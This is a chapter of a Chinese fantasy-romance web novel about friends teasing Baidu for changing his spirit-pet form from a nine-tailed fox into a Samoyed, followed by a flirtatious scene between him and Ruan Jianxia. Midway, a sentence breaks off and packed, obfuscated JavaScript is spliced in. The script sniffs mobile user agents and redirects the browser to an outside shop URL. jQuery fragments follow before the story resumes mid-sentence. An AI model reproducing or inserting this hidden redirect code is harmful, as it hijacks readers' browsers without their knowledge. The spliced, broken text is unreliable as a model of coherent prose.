“嗯？什么意思？”听到陶泽的问题，清漪纤长的睫毛轻轻眨了两下，银灰色的眼眸里满是困惑，她微微歪着头，语气带着几分茫然：“什么叫做我为什么要把灵宠状态设置为萨摩耶？萨摩耶又是什么？”


    话音落下时，她还下意识地抬手拢了拢垂在肩头的长发，显然对这个陌生词汇全然没有概念。


    “就是柏渡变出来的那个啊，狗尾巴！”陶泽一脸纯良，伸手直直指向柏渡身后。


    事发突然，柏渡那截蓬松雪白的尾巴还没收回去，正像团小毛球似的，在阮见夏的手臂上轻轻扫来扫去，偶尔还会悄悄钻到她的袖口里去，惹得阮见夏时不时就要揉一下，让它安分些。


    清漪顺着他指的方向看过去，目光落在那截尾巴上时，眼睛忽然亮了亮，语气里多了几分新奇：“在你们的世界里，狐狸叫做狗吗？”


    她顿了顿，指尖轻轻敲击着身侧的空气，回忆起过往的画面：“我给自己设定的灵宠形态，是来自一位兽人朋友的血脉帮助，那朋友的本体，在我们的时代叫做九尾狐。”


    为了让几人更直观地理解，清漪抬手在空中虚划了一下，淡蓝色的电子屏幕瞬间凭空浮现，屏幕上立刻出现一只威风凛凛的九尾狐。


    它通体覆盖着银白色的毛发，九条尾巴在月光下肆意舒展着，每一根尾尖都泛着淡淡的金光，低垂着看向画卷外面的眼神里满是淡漠感，带着一种睥睨众生的冷傲。


    清漪指着屏幕上的九尾狐，偏头看向陶泽，眼神里还带着几分确认：“诺，就是屏幕上展示的这种形态，难道现在这种兽人，都叫做萨摩耶了吗？”


    “不是啊！”陶泽急忙摆手，语气里满是哭笑不得，“虽然从分类上说，狐狸确实属于犬科动物，但柏渡变的是货真价实的萨摩耶品类的狗狗啊，跟狐狸差远了！”


    他这句话刚说完，一道冷冽的刀光突然“唰”地从他眼前划过，带着刺骨的寒意，吓得陶泽瞬间往后一个翻身，躲到沙发后面。


    “陶泽，你想死吗？”柏渡的声音从牙缝里挤出来，每一个字都像是裹着冰碴，他原本还算温和的眼神此刻冷得吓人，修长的指节紧握着“裁决”的刀柄，显然是被陶泽这句话惹得炸毛了。


    “呀，别恼羞成怒啊！”陶泽吓得往后缩了缩，却还不忘嘴硬，“我就是好奇想问问而已！”


    话音未落，他已经反应极快地弯腰、下蹲、起跳，一连串动作行云流水，堪堪避开了柏渡挥来的刀刃，然后一溜烟躲到了阮见夏身后，只敢探出头来对着柏渡做了个鬼脸，还不忘炫耀，“我可是专业练过的，想抓到我没那么容易！”


    “陶、泽！”柏渡深吸了一口气，胸口微微起伏着。


    他努力压下心头的怒火，转头看向阮见夏时，脸上瞬间挤出一抹极不自然的笑容，原本阴森森的声音也骤然温柔下来，像是怕吓到她：“阿夏，你先让开，我解决完他，咱们再好好说这事，好不好？”


    可阮见夏却没有听他的话，反而笑眯眯地站在原地没动，还故意往陶泽身前挡了挡，语气里带着几分狡黠：“现在说嘛，我也很想知道，为什么清漪设定的是那么威风的九尾狐，到你这里就变成萨摩耶了？”


    这话一出，原本气势汹汹、变身炸毛恶犬的柏渡瞬间僵在了原地，刚才还恶声恶语的模样荡然无存，取而代之的是一脸的窘迫。


    他张了张嘴，却支支吾吾说不出半句话来，原本白净的脸颊像是被染上了窗外系统模拟出来的晚霞，一层淡淡的红晕从耳根蔓延到了脖颈，连情绪激动蹦出来的小狗耳朵都透着粉色。


    清漪看他这副模样，倒也没有为难他的意思，见他吭哧半天也说不出点什么，便直接抬眼看向空中，语气平静地开口：“系统，麻烦问一下，为什么柏渡的灵宠形态会发生变更？”


    “鉴于载体‘柏渡’的自主要求，且明确提出‘想要成为阮见夏的狗’，经查阅现代社会文明资料，发现萨摩耶犬与狐狸均属于犬科类动物，在外形特征与科属分类上具有一定相似性，因此可在真实形态上进行模拟转换。”


    系统反应速度很快，声音毫无波澜，一板一眼地复述着原因，可正是这毫无感情的回答，让“柏渡想成为阮见夏的狗”这件事变得格外好笑。


    一时间，客厅里所有听到这句话的人都憋得肩膀发抖，想笑又不敢笑出声。


    陶泽用力抿着嘴，眼睛使劲往上瞟，假装在看天花板上的吊灯，心里疯狂劝告自己：死嘴，别笑啊，笑出来就真的死！定！了！


    露克和露黛则互相掐着对方的胳膊，低着头盯着地面，憋笑憋得连指尖都在微微颤抖，生怕自己最先笑出声来，引火上身。


    唯有还停留在上古时代的清漪还没弄明白其中的笑点，她看着众人怪异的模样，又转头看向柏渡，语气里满是纯粹的好奇：“为什么想当小夏的狗？你不是人类吗？”


    她顿了顿，又补充道：“而且我能看出来，你很喜欢小夏，喜欢一个人，不应该是想当她的恋人吗？怎么会想当她的狗呢？”


    柏渡根本没法跟一个来自万年以前、对现代网络语境一窍不通的人解释这句话的特殊含义，羞耻感像潮水似的一阵、一阵涌上心头，大脑瞬间一片空白，甚至有点过载。


    他急得脸颊更红了，脱口而出一句：“在我们现代人这里，这句话……这句话就是表白的意思！”


    说完，他猛地闭了闭眼，像是不敢相信自己在说什么，恨不得找个地缝钻进去，头埋得更低了。


    清漪挑了挑眉，目光在柏渡通红的脸上扫过，显然看出来他已经“红温”到了极限，再追问下去，恐怕真的要当场“温度过高爆炸”。


    她轻轻笑了笑，没再继续这个话题，只是轻飘飘地留下一句“那你们现代人的表白方式，还真是很时髦哦”的点评，便转身朝着卡尔的锻造坊走去，裙摆随着她的动作轻轻晃动，留下一个潇洒的背影。


    露克和露黛作为浅浅了解过人类现代文明的精灵，刚才系统说完那句话时，就已经明白了其中的含义。


    此刻看着因为清漪点评、即将暴走的柏渡，两人更是憋得满脸通红，连大气都不敢喘一口，生怕自己不小心笑出声，成为点燃这颗“人形炸弹”的引线。


    可惜他们的小心翼翼并没有起到作用。


    柏渡身上的气


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574882|186576||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    压越来越低，脸颊的温度几乎要赶上“裁决”刀身突然燃起的火焰，他盯着躲在阮见夏身后的陶泽，眼神阴森，一字一顿地说道：“陶泽，跟我去外面，我不想说第二次。”


    “夏姐！”陶泽吓得瞬间抓住了救命稻草，闭着眼睛就往阮见夏身后缩，还可怜兮兮地虚拽住阮见夏的上衣衣角，声音带着几分哀求，“你快说说柏渡，他不会真的要对我做什么吧！”


    “好啦好啦，别这么凶嘛。”阮见夏轻轻拍了拍陶泽的胳膊，然后转头看向柏渡，眨了眨眼睛，笑着眯起了眼睛，语气带着几分娇俏地问道，“小渡老师，难道你不想当我的小狗吗？”


    女王发言！


    同样一句话，在不同的语境里，从不同的人嘴里说出来，效果截然不同。


    刚才系统说的时候，只有搞笑，可从阮见夏嘴里说出来，却带着几分亲昵的撒娇和一丝若有若无的女王气息，让人听着心尖都跟着发颤。


    柏渡瞬间像被施了定身咒似的，僵在原地一动不动，眼睛直勾勾地看着阮见夏，耳朵不自觉地竖了起来。


    阮见夏见状，笑着拉起已经石化的柏渡的手，转身往楼上走，只留下一句“今天的晚餐就拜托你们啦”。


    陶泽看着两人的背影，张着嘴半天没合上，一脸呆滞地喃喃道：“刚才的夏姐……也太有女王范了吧！你们看这个背影，是不是特别像在遛狗啊？”


    一旁的露黛和露克立刻连连点头，眼睛里满是认同，露黛还忍不住小声补充了一句：“而且还是一只特别听话不闹家的‘萨摩耶’。”


    说完，两人又赶紧捂住嘴，生怕笑声漏出来。


    阮见夏拉着僵硬的柏渡回到房间，这才松了手，转而轻轻推着他的肩膀，将人按在柔软的床沿。


    柏渡顺势坐下，指尖无意识地抓着身下柔软的床单，失神的目光飘忽忽落在女孩笑盈盈的脸庞上，心脏狂跳得快要冲破胸膛。


    阮见夏就站在他面前，垂眼看着柏渡紧绷的下颌线，看着他明明耳尖红透，却还故作镇定地抿着唇的模样，忍不住弯了弯嘴角，细碎的笑声从喉咙里溢出来，带着点狡黠的软糯：“小渡老师，你是傻了吗？”


    往日里两人黏在一起的时候不算少，可那些亲近里，总裹着层若有似无的试探，柏渡不敢戳破，阮见夏也总在快要触碰到那个不可言说的阈值时轻轻转开话题。


    但今天不一样，她站在所有人面前，没有丝毫逃避，没有半分遮掩，把最直白的心意摊在他面前，像递出一颗裹着糖衣的炮弹，直直砸中了他。


    柏渡喉结滚了滚，想说些什么，大脑却像被按下了暂停键，语言系统集体罢工。


    他只能就这样抬着头，眼神里还带着没散去的怔忪，望着面前笑眯眯的阮见夏，她的睫毛很长，在眼下投出淡淡的阴影，嘴角勾着甜甜的弧度，连问出那样大胆的话，都显得格外可爱。


    没等到回应，阮见夏也不恼。


    她往前凑了凑，温热的掌心轻轻拍了拍柏渡通红的侧脸，指腹蹭过他发烫的皮肤，语气又软了几分，像在确认什么重要的答案：“说呀，小渡老师，你想不想当我的小狗呀？”